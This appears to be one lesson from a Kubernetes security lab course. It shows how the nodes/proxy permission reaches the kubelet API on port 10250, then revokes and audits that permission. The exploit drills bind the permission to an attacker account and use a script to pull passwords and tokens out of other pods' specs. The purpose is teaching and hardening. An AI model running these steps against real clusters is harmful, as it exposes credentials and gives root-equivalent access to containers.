Day 7: The kubelet API and nodes/proxy
Goal: You read Secrets of other Pods via the kubelet proxy – and turn that around. · Duration: approx. 70 min · Prerequisite: Day 6
Briefing
Every Node runs the kubelet with an HTTPS API on port
10250: list Pods, exec, logs, specs. Two things decide how
dangerous that is – whether the kubelet rejects anonymous access (RKE2:
yes, good) and whether someone holds the permission
nodes/proxy. This permission is often granted “for
metrics/debug” and is effectively a master key to every container on
every Node.
Drill 1: The Attack Surface – Port 10250
From the attacker Pod, every Node’s kubelet port is reachable; but anonymous is (luckily) rejected:
kubectl -n attacker exec shell -- nc -zv -w3 172.16.0.228 10250
kubectl -n attacker exec shell -- curl -s -k -o /dev/null -w "%{http_code}\n" \
--max-time 5 https://172.16.0.228:10250/podsExpected:
Connection to 172.16.0.228 10250 port [tcp/*] succeeded!
401
succeeded shows: the network lets you through (no
firewall/NetworkPolicy). 401 shows: the kubelet demands an
identity. RKE2 gets this right – the default
--anonymous-auth is off. Both together are the point: the
door is reachable, but locked. Now a misconfiguration provides the
key.
Save your progress? Sign up for free
Drill 2: The Misconfiguration – nodes/proxy
kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata: {name: node-proxier}
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get","create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata: {name: attacker-node-proxier}
subjects: [{kind: ServiceAccount, name: default, namespace: attacker}]
roleRef: {kind: ClusterRole, name: node-proxier, apiGroup: rbac.authorization.k8s.io}
EOFnodes/proxy forwards requests through the API server to
the kubelet – with the identity of the API server. The anonymous hurdle
from Drill 1 is thereby bypassed.
Save your progress? Sign up for free
Drill 3: Exploit – Secrets from Other Pods’ Specs
The kubelet route /pods delivers the full specs of all
Pods of the Node – including environment variables. If a password sits
in cleartext in env (common!), you read it without any
Secret permission:
AS="--as=system:serviceaccount:attacker:default"
NODE=$(kubectl -n shop get pod -l app=db -o jsonpath='{.items[0].spec.nodeName}')
kubectl $AS get --raw "/api/v1/nodes/$NODE/proxy/pods" | python3 -c '
import sys,json
for p in json.load(sys.stdin)["items"]:
for c in p["spec"].get("containers",[]):
for e in c.get("env",[]) or []:
if "value" in e and any(x in e["name"] for x in ("PASS","SECRET","TOKEN")):
print(p["metadata"]["namespace"]+"/"+p["metadata"]["name"],
e["name"],"=",e["value"])'Expected (shortened):
shop/db-775684cfff-bx4xv POSTGRES_PASSWORD = lab-password
The database password from shop – read by an account
that only had nodes/proxy. Over the same proxy go
exec and log; nodes/proxy is
thereby as powerful as root in every container of the cluster.
Save your progress? Sign up for free
Drill 4: Fix – Revoke nodes/proxy
kubectl delete clusterrolebinding attacker-node-proxier
kubectl delete clusterrole node-proxierSave your progress? Sign up for free
Drill 5: Proof
AS="--as=system:serviceaccount:attacker:default"
kubectl $AS get --raw "/api/v1/nodes/rke2-agent1/proxy/pods"Expected:
Error from server (Forbidden): nodes "rke2-agent1" is forbidden: User
"system:serviceaccount:attacker:default" cannot get resource "nodes/proxy" in API group ""
And the good baseline remains – anonymously the kubelet stays shut:
kubectl -n attacker exec shell -- curl -s -k -o /dev/null -w "%{http_code}\n" \
--max-time 5 https://172.16.0.228:10250/podsExpected: 401
Save your progress? Sign up for free
Checkpoint
No workload may proxy the kubelet:
kubectl auth can-i get nodes/proxy --as=system:serviceaccount:attacker:defaultExpected: no
The Secret is nevertheless still in cleartext in the Pod spec – remember it for Day 10:
kubectl -n shop get pod -l app=db \
-o jsonpath='{.items[0].spec.containers[0].env[?(@.name=="POSTGRES_PASSWORD")].value}'; echoExpected: lab-password
Challenge
Find out whether any account other than the control plane may use
nodes/proxy – that is a critical audit finding.
Hint: Search the rules of all
ClusterRoles for the resource nodes/proxy and then check
their bindings.
Solution
kubectl get clusterroles -o json | python3 -c '
import sys,json
for r in json.load(sys.stdin)["items"]:
for rule in r.get("rules") or []:
res=rule.get("resources") or []
if "nodes/proxy" in res or ("nodes" in res and "proxy" in str(rule)):
print(r["metadata"]["name"], res, rule.get("verbs"))'Expected: system roles such as system:kubelet-api-admin.
Every custom role with nodes/proxy belongs reviewed and
usually removed.
Save your progress? Sign up for free
Enterprise Note
nodes/proxy,nodes/*only for clearly named system components; never to workloads, CI or “debug” accounts.- Keep the kubelet hard:
--anonymous-auth=false,--authorization-mode=Webhook,--read-only-port=0(RKE2 defaults – verify in the CIS profile that they are set). - Make port
10250reachable only from the control plane via host firewall/network segmentation; workloads never need it. Restrict Pod-to-Node traffic with NetworkPolicy (Day 8). - Never put Secrets as cleartext
envinto the Pod spec – usesecretKeyRefor mount them, so the Pod specs no longer reveal that much overnodes/proxy(Day 10).